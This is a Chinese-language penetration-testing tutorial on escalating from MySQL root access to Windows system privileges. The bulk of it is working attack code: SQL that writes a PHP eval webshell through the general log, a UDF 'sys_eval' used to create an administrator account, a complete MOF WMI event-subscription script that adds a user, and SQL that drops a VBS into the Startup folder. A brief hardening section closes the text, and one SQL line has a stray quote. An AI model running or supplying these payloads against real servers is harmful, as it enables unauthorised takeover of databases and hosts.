Windows下三种mysql提权剖析
字数 1363 2025-08-29 08:32:30
Windows下MySQL提权技术详解
一、实验环境准备
- 靶机A: Windows 7 SP1
- 靶机B: Windows Server 2003 Enterprise x64
- 环境搭建: Phpstudy (PHP 5.4.45 + MySQL 5.5.53)
- 攻击前提: 已知root账号密码,网站存在phpmyadmin页面
二、初始Webshell获取
1. 日志文件写Shell技术
当file_priv为null无法使用into outfile时,可采用日志文件写Shell:
-- 开启日志记录
set global general_log='on';
-- 设置日志文件路径为Web目录
set global general_log_file='C:/phpstudy/WWW/hp.php';
-- 写入PHP一句话木马
select '<?php @eval($_POST["hp"]);?>';
-- 关闭日志记录
set global general_log=off';
三、UDF提权技术
1. UDF提权原理
UDF(User-Defined Function)是MySQL的扩展接口,允许用户创建自定义函数。通过创建调用系统命令的函数,可将MySQL权限提升至系统权限。
2. 提权步骤
(1) 导出UDF DLL文件
根据MySQL版本不同,DLL存放位置不同:
- MySQL < 5.1:
- Windows 2003:
c:\windows\system32 - Windows 2000:
c:\winnt\system32
- Windows 2003:
- MySQL ≥ 5.1: MySQL安装目录下的
lib\plugin文件夹
获取安装目录:
select @@basedir;
(2) 创建自定义函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'hpudf.dll';
常用函数说明:
cmdshell: 执行cmd命令downloader: 下载文件到指定目录open3389: 开启3389远程桌面backshell: 反弹ShellProcessView: 枚举系统进程KillProcess: 终止指定进程regread: 读注册表regwrite: 写注册表shut: 关机/注销/重启
(3) 执行系统命令
select sys_eval('ipconfig');
select sys_eval('net user hpdoger 123456 /add');
select sys_eval('net localgroup administrators hpdoger /add');
四、MOF提权技术
1. 提权条件
- Windows 2003及以下版本
- MySQL启动身份具有读写
c:/windows/system32/wbem/mof目录权限 secure-file-priv参数不为null- MySQL以root身份启动
2. MOF文件原理
托管对象格式(MOF)文件位于c:/windows/system32/wbem/mof/,系统每5秒会执行一次其中的脚本。
3. 利用代码
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter {
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer {
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\n"
"WSH.run(\"net.exe user hpdoger 123456 /add\")";
};
instance of __FilterToConsumerBinding {
Consumer = $Consumer;
Filter = $EventFilter;
};
4. 提权步骤
-- 使用dumpfile而非outfile,避免写入换行符
select load_file("C:/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof";
5. 清除MOF提权
net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt
五、启动项提权技术
1. 提权条件
file_priv不为null- 已知root密码
- 需要服务器重启
2. 提权POC
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") ");
insert into a values ("a=wshshell.run (""cmd.exe /c net user hpdoger 123456 /add"",0) ");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators hpdoger /add"",0) ");
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
六、防御建议
-
MySQL权限控制:
- 避免使用root权限运行MySQL服务
- 限制
file_priv权限 - 设置
secure-file-priv参数
-
系统防护:
- 监控
system32/wbem/mof目录异常文件 - 检查启动项异常脚本
- 定期审计系统用户和权限
- 监控
-
配置加固:
- 删除不必要的插件目录
- 限制远程访问MySQL
- 使用强密码策略
-
日志监控:
- 监控MySQL异常查询
- 审计文件创建和修改操作
七、总结
本文详细介绍了Windows环境下三种主要的MySQL提权技术:UDF提权、MOF提权和启动项提权。每种方法都有其特定的适用场景和限制条件,在实际渗透测试中需要根据目标环境选择合适的方法。同时,作为系统管理员,了解这些攻击技术有助于更好地防御此类提权攻击。